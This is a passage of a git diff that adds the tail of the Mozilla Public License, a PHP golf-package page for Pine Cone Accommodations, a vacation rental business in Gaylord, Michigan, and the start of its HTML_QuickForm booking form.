+     IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT,
+     YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE
+     COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER
+     OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF
+     ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+     8.1.  This License and the rights granted hereunder will terminate
+     automatically if You fail to comply with terms herein and fail to cure
+     such breach within 30 days of becoming aware of the breach. All
+     sublicenses to the Covered Code which are properly granted shall
+     survive any termination of this License. Provisions which, by their
+     nature, must remain in effect beyond the termination of this License
+     shall survive.
+
+     8.2.  If You initiate litigation by asserting a patent infringement
+     claim (excluding declatory judgment actions) against Initial Developer
+     or a Contributor (the Initial Developer or Contributor against whom
+     You file such action is referred to as "Participant")  alleging that:
+
+     (a)  such Participant's Contributor Version directly or indirectly
+     infringes any patent, then any and all rights granted by such
+     Participant to You under Sections 2.1 and/or 2.2 of this License
+     shall, upon 60 days notice from Participant terminate prospectively,
+     unless if within 60 days after receipt of notice You either: (i)
+     agree in writing to pay Participant a mutually agreeable reasonable
+     royalty for Your past and future use of Modifications made by such
+     Participant, or (ii) withdraw Your litigation claim with respect to
+     the Contributor Version against such Participant.  If within 60 days
+     of notice, a reasonable royalty and payment arrangement are not
+     mutually agreed upon in writing by the parties or the litigation claim
+     is not withdrawn, the rights granted by Participant to You under
+     Sections 2.1 and/or 2.2 automatically terminate at the expiration of
+     the 60 day notice period specified above.
+
+     (b)  any software, hardware, or device, other than such Participant's
+     Contributor Version, directly or indirectly infringes any patent, then
+     any rights granted to You by such Participant under Sections 2.1(b)
+     and 2.2(b) are revoked effective as of the date You first made, used,
+     sold, distributed, or had made, Modifications made by that
+     Participant.
+
+     8.3.  If You assert a patent infringement claim against Participant
+     alleging that such Participant's Contributor Version directly or
+     indirectly infringes any patent where such claim is resolved (such as
+     by license or settlement) prior to the initiation of patent
+     infringement litigation, then the reasonable value of the licenses
+     granted by such Participant under Sections 2.1 or 2.2 shall be taken
+     into account in determining the amount or value of any payment or
+     license.
+
+     8.4.  In the event of termination under Sections 8.1 or 8.2 above,
+     all end user license agreements (excluding distributors and resellers)
+     which have been validly granted by You or any distributor hereunder
+     prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+
+     UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT
+     (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL
+     DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE,
+     OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR
+     ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY
+     CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL,
+     WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER
+     COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN
+     INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF
+     LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
+     RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW
+     PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE
+     EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO
+     THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+     The Covered Code is a "commercial item," as that term is defined in
+     48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer
+     software" and "commercial computer software documentation," as such
+     terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48
+     C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995),
+     all U.S. Government End Users acquire Covered Code with only those
+     rights set forth herein.
+
+11. MISCELLANEOUS.
+
+     This License represents the complete agreement concerning subject
+     matter hereof. If any provision of this License is held to be
+     unenforceable, such provision shall be reformed only to the extent
+     necessary to make it enforceable. This License shall be governed by
+     California law provisions (except to the extent applicable law, if
+     any, provides otherwise), excluding its conflict-of-law provisions.
+     With respect to disputes in which at least one party is a citizen of,
+     or an entity chartered or registered to do business in the United
+     States of America, any litigation relating to this License shall be
+     subject to the jurisdiction of the Federal Courts of the Northern
+     District of California, with venue lying in Santa Clara County,
+     California, with the losing party responsible for costs, including
+     without limitation, court costs and reasonable attorneys' fees and
+     expenses. The application of the United Nations Convention on
+     Contracts for the International Sale of Goods is expressly excluded.
+     Any law or regulation which provides that the language of a contract
+     shall be construed against the drafter shall not apply to this
+     License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+     As between Initial Developer and the Contributors, each party is
+     responsible for claims and damages arising, directly or indirectly,
+     out of its utilization of rights under this License and You agree to
+     work with Initial Developer and Contributors to distribute such
+     responsibility on an equitable basis. Nothing herein is intended or
+     shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+     Initial Developer may designate portions of the Covered Code as
+     "Multiple-Licensed".  "Multiple-Licensed" means that the Initial
+     Developer permits you to utilize portions of the Covered Code under
+     Your choice of the NPL or the alternative licenses, if any, specified
+     by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A -Mozilla Public License.
+
+     ``The contents of this file are subject to the Mozilla Public License
+     Version 1.1 (the "License"); you may not use this file except in
+     compliance with the License. You may obtain a copy of the License at
+     http://www.mozilla.org/MPL/
+
+     Software distributed under the License is distributed on an "AS IS"
+     basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
+     License for the specific language governing rights and limitations
+     under the License.
+
+     The Original Code is ______________________________________.
+
+     The Initial Developer of the Original Code is ________________________.
+     Portions created by ______________________ are Copyright (C) ______
+     _______________________. All Rights Reserved.
+
+     Contributor(s): ______________________________________.
+
+     Alternatively, the contents of this file may be used under the terms
+     of the _____ license (the  "[___] License"), in which case the
+     provisions of [______] License are applicable instead of those
+     above.  If you wish to allow use of your version of this file only
+     under the terms of the [____] License and not to allow others to use
+     your version of this file under the MPL, indicate your decision by
+     deleting  the provisions above and replace  them with the notice and
+     other provisions required by the [___] License.  If you do not delete
+     the provisions above, a recipient may use your version of this file
+     under either the MPL or the [___] License."
+
+     [NOTE: The text of this Exhibit A may differ slightly from the text of
+     the notices in the Source Code files of the Original Code. You should
+     use the text of this Exhibit A rather than the text found in the
+     Original Code Source Code for Your Modifications.]
+
diff --git a/golf.php b/golf.php
new file mode 100644 (file)
index 0000000..cfb0dc1
--- /dev/null
+++ b/golf.php
@@ -0,0 +1,518 @@
+<?php
+ require_once 'setup.phtml';
+require_once 'Text/CAPTCHA.php';
+require_once 'Text/CAPTCHA/Driver/Image.php';
+require_once 'HTML/QuickForm/CAPTCHA/Image.php';
+
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+
+?>
+
+<HTML>
+
+<HEAD>
+<meta http-equiv="keywords" content="Gaylord, Michigan, snow, vacation rental, vacation travel, Northern Michigan,
+Gaylord Area, Northern MIchigan golf, golf mecca, Otsego County, Snowmobile around Gaylord, ski northern Michigan,
+Snowmobile in Michigan, trail maps, rentals, cabins, homes, condos, Michigan winter resorts and cabin Rentals on snowmobile trail system, Gaylord, northern
+Michigan MI information. Michigan winter cabins, snowmobile snowmobilings, Michigan MI open stay information where lake
+rental rent fishing hunting. Accommodation accommodations accommodation accomodatons cabin cabins cabins-cottages
+where information, pictures Michigan winter resorts, cabinscottages, cabins-cottages campground, cottage cottages
+cottages-cabins discount family getaway getaways home homes house winter resorts Michigan, houses list listing lodge
+lodges lodging lodgings, places properties property rates where rent rental rentals resort. Resorts travel vacaton
+vacations vaction about adult allowed area areas around big. By can cheap find for great handicap how info information
+located map near new owner names park private search small where bass beach. fish fishing forest forests hunting lake
+lakefront lakes lakeside. Little snowmobile cabins northeast northern. Northwest lower west western daily holiday
+honeymoon. Packages seasons short stay summer term weekend weekly winter city county state. Condominium condominimum
+homes golf golf packages snowshoeing cross country skiing downhill skiing snowmobile snowmobiling packages, Crosscountry-downhill
+gaylord michigan Golf Gaylord Gaylord Area Golf Northern Michigan Gaylord mi hotel Gaylord lodging Vaction rentals Gaylord
+Cain rental Gaylord Michigan ski packages northern michigan golf packages gaylord michigan golf packages northern michigan
+Acommodations gaylord michigan Vacation rental properties Vacation rental properties michigan fly fishing northern michigan
+fly fishing gaylord skiing northern Michigan condominiums gaylord michigan downhill ski packages gaylord cross country ski packages gaylord.">
+<meta http-equiv="description" content="Michigan winter resorts and cabin rentals on snowmobile trail system, Gaylord,
+northern Michigan MI information. Michigan winter cabins, snowmobile, snowmobilings, Michigan MI open stay information where lake
+rental rent fishing hunting.">
+<META NAME="ROBOTS" content="ALL">
+<meta name="distribution" content="global">
+<meta name="revisit-after" content="7 days">
+<meta name="rating" content="general">
+<meta http-equiv="Cache-Control" content="no-cache">
+<meta http-equiv="Pragma" content="no-cache">
+<meta http-equiv="Content-Language" content="en-us">
+<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
+<TITLE>Pine Cone Accommodations - Vacation Rentals - Snowmobiling Packages in 
+the Gaylord Otsego area in Michigan - Vacation Rental Properties Michigan</TITLE>
+<SCRIPT language="JavaScript" src="scripts/popup.js"></SCRIPT>
+<style>
+BODY{
+scrollbar-arrow-color: #305315;
+scrollbar-face-color: #493715;
+scrollbar-shadow-color:#626A5A;
+scrollbar-track-color: #D6D6D6;
+scrollbar-3dlight-color: #543d35;
+scrollbar-highlight-color: #000000;
+scrollbar-shadow-color: #543d35;
+scrollbar-darkshadow-color: #000000;
+}
+</style>
+
+<style>
+A {color:#eedfce; text-decoration:none}
+A:hover {color:#FFFFFF}
+A:active {color:#AB4511}
+div.Section1
+       {page:Section1;}
+</style>
+<SCRIPT LANGUAGE=JAVASCRIPT TYPE="TEXT/JAVASCRIPT">
+       <!-- Hide script from old browsers
+
+       function newWindow(boydgif) {
+               boydWindow = window.open(boydgif,'boydWin', 'width=400,height=350')
+               boydWindow.focus()
+       }
+
+       // End hiding script from old browsers -->
+       </SCRIPT>
+
+<style type="text/css">
+
+#dropmenudiv{
+border-left:1px solid black; border-right:1px solid black; border-top:1px solid black; border-bottom:0px solid black; position:absolute;
+line-height:18px;
+z-index:100; font-style:Arial; font-variant:normal; font-weight:normal; font-size:10pt; font-family:Arial
+}
+
+#dropmenudiv a{
+width: 100%;
+display: block;
+text-indent: 3px;
+background: brown;
+border-bottom: 1px solid black;
+padding: 1px 0;
+text-decoration: underline;
+font-weight: bold;
+}
+
+#dropmenudiv a:hover{ /*hover background color*/background-color: 543d35;}
+
+</style>
+
+<script type="text/javascript">
+
+/***********************************************
+* AnyLink Drop Down Menu- © Dynamic Drive (www.dynamicdrive.com)
+* This notice MUST stay intact for legal use
+* Visit http://www.dynamicdrive.com/ for full source code
+***********************************************/
+
+//Contents for menu 1
+var menu1=new Array()
+menu1[0]='<a href="http://www.pineconevacations.com/vacationrentals.htm">View All Rentals</a>'
+menu1[1]='<a href="http://www.pineconevacations.com/rentalrates.htm">Rental Rates</a>'
+menu1[2]='<a href="http://www.pineconevacations.com/vacationr-golffront.htm">Golf Front Units</a>'
+menu1[3]='<a href="http://www.pineconevacations.com/vacationr-lakefrontoraccess.htm">Lake Front/Lake Access</a>'
+menu1[4]='<a href="http://www.pineconevacations.com/vacationr-1-3bedrooms.htm">Featuring 1-3 bedrooms</a>'
+menu1[5]='<a href="http://www.pineconevacations.com/vacationr-4+bedrooms.htm">Featuring 4+ bedrooms</a>'
+menu1[6]='<a href="http://www.pineconevacations.com/vacationr-fireplaces.htm">Featuring Fireplaces</a>'
+menu1[7]='<a href="http://www.pineconevacations.com/vacationr-hottubs.htm">Featuring Hot Tubs</a>'
+menu1[8]='<a href="http://www.pineconevacations.com/vacationr-pooltables.htm">Featuring Pool Tables</a>'
+
+
+//Contents for menu 2
+var menu2=new Array()
+menu2[0]='<a href="http://contact.pineconevacations.com/golf.php">Lets Talk Golf</a>'
+menu2[1]='<a href="http://www.pineconevacations.com/Snowmobiling.htm">Winter Specials</a>'
+menu2[2]='<a href="http://www.pineconevacations.com/links.htm">Favorite Links</a>'
+
+//Contents for menu 3
+var menu3=new Array()
+menu3[0]='<a href="http://www.pineconevacations.com/areaofinformation.htm">Area Information</a>'
+menu3[1]='<a href="http://www.pineconevacations.com/directions.htm">How To Get Here</a>'
+menu3[2]='<a href="http://www.pineconevacations.com/map.htm">Map Of The Area</a>'
+menu3[3]='<a href="http://www.pineconevacations.com/festivals.htm">Upcoming Festivals</a>'
+menu3[4]='<a href="http://www.pineconevacations.com/links.htm">Favorite Links</a>'
+menu3[5]='<a href="http://contact.pineconevacations.com/">Contact Us</a>'
+menu3[6]='<a href="http://www.pineconevacations.com/realestate.htm">Real Estate For Sale</a>'
+
+//Contents for menu 4
+var menu4=new Array()
+menu4[0]='<a href="http://www.pineconevacations.com/pineconeinn/index.html">The Inn</a>'
+
+
+
+               
+var menuwidth='165px' //default menu width
+var menubgcolor='baa994'  //menu bgcolor
+var disappeardelay=250  //menu disappear speed onMouseout (in miliseconds)
+var hidemenu_onclick="yes" //hide menu when user clicks within menu?
+
+/////No further editting needed
+
+var ie4=document.all
+var ns6=document.getElementById&&!document.all
+
+if (ie4||ns6)
+document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')
+
+function getposOffset(what, offsettype){
+var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
+var parentEl=what.offsetParent;
+while (parentEl!=null){
+totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
+parentEl=parentEl.offsetParent;
+}
+return totaloffset;
+}
+
+
+function showhide(obj, e, visible, hidden, menuwidth){
+if (ie4||ns6)
+dropmenuobj.style.left=dropmenuobj.style.top="-500px"
+if (menuwidth!=""){
+dropmenuobj.widthobj=dropmenuobj.style
+dropmenuobj.widthobj.width=menuwidth
+}
+if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
+obj.visibility=visible
+else if (e.type=="click")
+obj.visibility=hidden
+}
+
+function iecompattest(){
+return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
+}
+
+function clearbrowseredge(obj, whichedge){
+var edgeoffset=0
+if (whichedge=="rightedge"){
+var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
+dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
+if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
+edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
+}
+else{
+var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
+var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
+dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
+if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
+edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
+if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
+edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
+}
+}
+return edgeoffset
+}
+
+function populatemenu(what){
+if (ie4||ns6)
+dropmenuobj.innerHTML=what.join("")
+}
+
+
+function dropdownmenu(obj, e, menucontents, menuwidth){
+if (window.event) event.cancelBubble=true
+else if (e.stopPropagation) e.stopPropagation()
+clearhidemenu()
+dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
+populatemenu(menucontents)
+
+if (ie4||ns6){
+showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
+dropmenuobj.x=getposOffset(obj, "left")
+dropmenuobj.y=getposOffset(obj, "top")
+dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
+dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
+}
+
+return clickreturnvalue()
+}
+
+function clickreturnvalue(){
+if (ie4||ns6) return false
+else return true
+}
+
+function contains_ns6(a, b) {
+while (b.parentNode)
+if ((b = b.parentNode) == a)
+return true;
+return false;
+}
+
+function dynamichide(e){
+if (ie4&&!dropmenuobj.contains(e.toElement))
+delayhidemenu()
+else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
+delayhidemenu()
+}
+
+function hidemenu(e){
+if (typeof dropmenuobj!="undefined"){
+if (ie4||ns6)
+dropmenuobj.style.visibility="hidden"
+}
+}
+
+function delayhidemenu(){
+if (ie4||ns6)
+delayhide=setTimeout("hidemenu()",disappeardelay)
+}
+
+function clearhidemenu(){
+if (typeof delayhide!="undefined")
+clearTimeout(delayhide)
+}
+
+if (hidemenu_onclick=="yes")
+document.onclick=hidemenu
+
+</script>
+
+</HEAD>
+
+
+
+
+<BODY link="#000000" vlink="#000000" background="http://www.pineconevacations.com/images/woodbackground3.jpg" nowrap>
+
+<DIV align="center">
+  <CENTER>
+  <TABLE border="0" cellspacing="1" width="1052">
+    <TR>
+      <TD width="97%">
+      <div align="center">
+               <table border="0" width="96%">
+                       <tr>
+                               <td>
+                               <table border="0" width="96%" cellspacing="1">
+                                       <tr>
+                                               <td>
+                                               <p align="center">
+                                               <font face="Arial" size="1" color="#EEDFCE">
+                                                                       <a href="http://www.pineconevacations.com/index.html">HOME&nbsp;</a>&nbsp;&nbsp; 
+                                               .&nbsp;&nbsp;&nbsp; 
+                                               <a target="_blank" href="http://www.weatherforyou.com/">WEATHER</a>&nbsp;&nbsp; .&nbsp;&nbsp;&nbsp; 
+                                               <a href="http://www.pineconevacations.com/directions.htm"><font color="#EEDFCE">
+                                               <a href="http://www.pineconevacations.com/directions.htm">
+                                               <span style="font-weight: 400">DIRECTIONS</span></a></font></a><a 
+href="http://www.pineconevacations.com/directions.htm">&nbsp;&nbsp;</a>&nbsp; .&nbsp;&nbsp;&nbsp;
+                                               <a href="http://www.pineconevacations.com/directions.htm"><font color="#EEDFCE">
+                                               <span style="font-weight: 400">
+                                               <a href="http://contact.pineconevacations.com/">CONTACT 
+                                               US</a></span></font></a>&nbsp; &nbsp;&nbsp; .&nbsp;&nbsp;&nbsp;&nbsp; 
+                                               866-731-1887</font><font face="Arial" size="1" color="#EEDFCE"><br>
+&nbsp;</font></td>
+                                       </tr>
+                               </table>
+                               <div align="center">
+                               <table border="0" cellspacing="1" width="94%" id="table6">
+<tr>
+                                       <td align="center" width="27%">
+                                       <font face="Arial" color="#FFFFFF">                                                     
+                                                               <b>
+                                                               <a onMouseover="dropdownmenu(this, event, menu4, '160px')" onMouseout="delayhidemenu()" 
+href="http://www.pineconevacations.com/pineconeinn/index.html">
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">
+                                                               Pine Cone Inn &amp; Suites</font></a></b></font><td align="center" width="23%">
+                                                               <font face="Arial" color="#FFFFFF">                                                     
+                                                               <b>
+                                                               <a onMouseover="dropdownmenu(this, event, menu1, '160px')" onMouseout="delayhidemenu()" 
+href="http://www.pineconevacations.com/vacationrentals.htm">
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">
+                                                               Vacation Rentals</font></a></b><font face="Arial" color="#FFFFFF" style="font-size: 16pt"><b> </b></font>
+                                                               </font>
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">                                                     
+                                                               </b>
+                                                               </font>
+                                                       </td>
+                                       <td align="center" width="16%">
+                                                               <font face="Arial" color="#FFFFFF">                                                     <b>
+                                                       <a onMouseover="dropdownmenu(this, event, menu2, '160px')" onMouseout="delayhidemenu()" 
+href="http://www.pineconevacations.com/golf.htm">
+                                                       <font face="Arial" color="#FFFFFF" style="font-size: 16pt">Stay &amp; 
+                                                       Play</font></a></b><font face="Arial" color="#FFFFFF" style="font-size: 16pt"><b> </b></font>
+                                                               </font>
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">                                                     
+                                                               </b>
+                                                               </font>
+                                                       </td>
+                                       <td align="center" width="12%">
+                                       <b><a href="rentalrates.htm">
+                                       <font face="Arial" color="#FFFFFF" style="font-size: 16pt">Rates</font></a></b></td>
+                                       <td align="center" width="16%">
+                                       <font face="Arial" color="#FFFFFF">                                                     
+                                       <b>
+                                                       <a onMouseover="dropdownmenu(this, event, menu3, '160px')" onMouseout="delayhidemenu()" href="aboutus.html">
+                                                       <font face="Arial" color="#FFFFFF" style="font-size: 16pt">About Us</font></a></b></font></td>
+                               </tr>
+</td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               <div align="center">
+                                       <table border="0" width="94%">
+                                               <tr>
+                                                       <td bgcolor="#000000">
+                                                       <div align="center">
+&nbsp;<table border="0" width="97%">
+                                                                       <tr>
+                                                                               <td bgcolor="#EEDFCE">
+                                                                               <div align="center">
+                                                                                       <table border="0" width="99%" cellspacing="4" cellpadding="4">
+                                                                                               <tr>
+                                                                                                       <td>
+                                                                                                       <table border="0" width="100%">
+                                                                                                               <tr>
+                                                                                                                       <td width="100%" valign="top">
+                                                                                                                       <DIV ALIGN="center">
+        <TABLE BORDER="0" CELLSPACING="1" WIDTH="99%">
+          <TR>
+                <TD WIDTH="100%">
+                  <div align="center">
+                    <table border="0" width="100%" cellspacing="0" cellpadding="0">
+                                               <tr>
+                                                       <td valign="top"><b><font face="Arial" size="5">
+                                               <?php include "golfForm.php";?> &nbsp;</td>
+                                                       <td width="161" valign="top">
+                                                                                               <table border="0" width="91%">
+                                                                                                                               <tr>
+                                                                                                                                       <td>
+                                                                                               <font FACE="Arial" LANG="JA" SIZE="2">
+                                                                                                                       <b>
+                                               <img border="0" src="http://www.pineconevacations.com/images/logopine12-3.png" width="155" 
+height="165"></b></font></td>
+                                                                                                                               </tr>
+                                                                                                                               <tr>
+                                                                                                                                       <td>
+                                                                                                                                       <p align="center">
+                                                                                                                                       <a 
+href="http://www.pineconevacations.com/Snowmobiling.htm">
+                                                                                                                                       <img border="2" 
+src="http://www.pineconevacations.com/images/stayandplaywinter13.jpg" width="201" height="156"></a></p>
+                                                                                                                                       <p align="center">
+                                                                                                                                       &nbsp;</p>
+                                                                                                                                       <p align="center">
+                                                                                                                                       <a 
+href="http://www.pineconevacations.com/vacationrentals.htm">
+                                                                                                                                       <img border="0" 
+src="http://www.pineconevacations.com/images/vacationsrentals_sm.png" width="201" height="156"></a></p>
+                                                                                                                                       <p align="center">
+                                                                                                                                       &nbsp;<p align="center">
+                                                                                                                       &nbsp;</td>
+                                                                                                                               </tr>
+                                                                                                                               <tr>
+                                                                                                                                       <td><br>
+                                                                                                                                       &nbsp;<p align="center">
+                                                                                                                                       &nbsp;</td>
+                                                                                                                               </tr>
+                                                                                                                       </table>
+                                                                                                                       <p align="center">&nbsp;</td>
+                                               </tr>
+                                       </table>
+                       <table border="0" width="100%" cellspacing="0" cellpadding="0">
+                                               <tr>
+                                                       <td>
+                                                       <p align="center"><span style="font-family: Arial; color: #472311">
+                       <font size="2">Rates subject to change based on Lodging preference.</font></span></td>
+                                               </tr>
+                                       </table>
+                  </div>
+                  </TD>
+          </TR>
+        </TABLE>
+      </DIV>
+                                                                                                               </td>
+                                                                                                               </tr>
+                                                                                                       </table>
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                       </table>
+                                                                               </div>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                               <table border="0" width="100%" cellspacing="0" cellpadding="0">
+                                                                       <tr>
+                                                                               <td>&nbsp;</td>
+                                                                       </tr>
+</table>
+                                                       </div>
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                       <table border="0" width="100%" cellspacing="1">
+                                                               <tr>
+                                                                       <td>
+                                                                       <p align="center">
+                                               <font face="Arial" size="1" color="#EEDFCE">
+                                                                       <a href="http://www.pineconevacations.com/index.html">HOME&nbsp;</a>&nbsp;&nbsp; 
+                                               .&nbsp;&nbsp;&nbsp; 
+                                               <a target="_blank" href="http://www.weatherforyou.com/">WEATHER</a>&nbsp;&nbsp; 
+                                               .&nbsp;&nbsp;&nbsp;<a href="dining.htm">
+                                                                       DINING IN THE AREA&nbsp;&nbsp;</a>&nbsp; .&nbsp;&nbsp;&nbsp;<a 
+href="http://contact.pineconevacations.com/golf.php">GOLFING 
+                                                                       &quot;THE MECCA&quot;</a> &nbsp;&nbsp; .&nbsp;&nbsp;&nbsp;&nbsp; 
+                                               866-731-1887</font></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td width="99%">
+                                                                       <div align="center">
+                                                                               <table border="0" width="33%">
+                                                                                       <tr>
+                                                                                               <td align="center">
+                                                                                               <p align="right">
+                                                                                               <a href="media.htm">
+                                                                                               <img border="0" src="http://www.pineconevacations.com/images/PCM.gif" width="34" 
+height="34"></a></td>
+                                                                                               <td align="center">
+                                                                       <a target="_blank" href="http://www.facebook.com/home.php#!/pages/Pine-cone-Accommodations/77142178209">
+                                                                       <img border="0" src="http://www.pineconevacations.com/images/facebook2.gif" width="34" 
+height="33"></a></td>
+                                                                                               <td align="center" width="56">
+                                                                                               <p align="center">
+                                                                                               <a target="_blank" href="https://twitter.com/PineConeAccom">
+                                                                                               <img border="0" src="http://www.pineconevacations.com/images/twitterlogo.gif" 
+width="34" height="34"></a></td>
+                                                                                               <td width="63" align="center">
+                                                                                               <a target="_blank" href="http://www.pinterest.com/pineconeaccomm/">
+                                                                                               <img border="0" src="http://www.pineconevacations.com/images/pintrestlogo.gif" 
+width="34" height="34"></a></td>
+                                                                                               <td width="40" align="center">
+                                                                       <a target="_blank" href="http://www.youtube.com/channel/UCNpRmE25u9pmG6P3KIVVCsw/videos?view=1">
+                                                                       <img border="0" src="http://www.pineconevacations.com/images/youtubeicon.gif" width="40" 
+height="40"></a></td>
+                                                                                       </tr>
+                                                                               </table>
+                                                                       </div>
+                                                                       </td>
+                                                               </tr>
+                                                       </table>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               </td>
+                       </tr>
+               </table>
+               </div>
+               <p align="center"><font face="Arial"><FONT size="1">
+               <a href="mailto:rentals@pineconevacations.com">Copyright © 2013 Pine Cone Accommodations All rights reserved.&nbsp;For any questions or comments
+                                                       email us at
+       </a>
+       </FONT><font color="#472311" size="1"><b>
+       <a href="mailto:rentals@pineconevacations.com">Rentals@PineConeVacations.com</a></b></font></font></p>
+
+               </TD>
+    </TR>
+  </TABLE>
+  </CENTER>
+</DIV>
+<BODY LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 background="http://www.pineconevacations.com/images/woodbackground3.jpg">
+
+       <div class="Section1">
+               <p class="MsoNormal">&nbsp;</div>
+
+</BODY>
+
+</HTML>
diff --git a/golfForm.php b/golfForm.php
new file mode 100644 (file)
index 0000000..0645cf8
--- /dev/null
@@ -0,0 +1,242 @@
+<?php
+
+/**
+ * Generate a PEAR::HTML_QuickForm 
+ * from an existing form created by third party
+ * 
+ * PHP versions 5
+ * 
+ * @category  Toolkit
+ * @package   Form
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2010 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: golfForm.php,v 1.2 2010/12/30 15:10:03 cscott Exp $
+ * @link      <>
+ */
+$validated = false;
+$form = new HTML_QuickForm(
+    'form', 
+    'POST'
+);
+
+// Add Form Elements
+$form->addElement(
+    'text', 
+    'arrive1', 
+    'Check-In', 
+    array('size' => 20)
+);
+$form->addElement(
+    'text', 
+    'depart1', 
+    'Check-Out', 
+    array('size' => 20)
+);
+$form->addElement(
+    'text', 
+    'numberofgolfers', 
+    'Number of Golfers', 
+    array('size' => 4)
+);
+$form->addElement(
+    'text', 
+    'days_playing_golf', 
+    'Of the dates you have selected above, how many will be spent playing golf?',
+    array('size' => 4)
+);
+$form->addElement(
+    'text', 
+    'name', 
+    'Name', 
+    array('size' => 45)
+);
+$form->addElement(
+    'text', 
+    'areacode', 
+    '', 
+    array('size' => 5, 'maxlength' => 5)
+);
+$form->addElement(
+    'text', 
+    'phonenumber', 
+    'Phone Number', 
+    array('size' => 15,'maxlength' => 15)
+);
+$form->addElement(
+    'text', 
+    'emailaddress', 
+    'E-mail Address', 
+    array('size' => 45)
+);
+$form->addElement(
+    'textarea', 
+    'additionalinformation', 
+    'Please enter any additional information below',
+    array('cols' => 70, 'rows' => 5)
+);
+$form->addElement(
+    'text', 
+    'understandingstatement', 
+    ''
+);
+$form->addElement(
+    'submit', 
+    'Command', 
+    'Send Your Request'
+);
+
+// Add Form Rules
+$form->addRule(
+    'arrive1', 
+    'Check-In Required!', 
+    'required', 
+    null, 
+    'client'
+);
+$form->addRule(
+    'depart1', 
+    'Check-Out Required!', 
+    'required', 
+    null, 
+    'client'
+);
+$form->addRule(
+    'numberofgolfers', 
+    'Number of Golfers Required!', 
+    'required', 
+    null, 
+    'client'
+);
+$form->addRule(
+    'numberofgolfers', 
+    'Must be a number!', 
+    'numeric', 
+    null, 
+    'client'
+);
+$form->addRule(
+    'name', 
+    'Name Required!', 
+    'required', 
+    null, 
+    'client'
+);
+/*
+$form->addRule(
+    'phonenumber', 
+    'Phone Required!', 
+    'required', 
+    null, 
+    'client'
+);
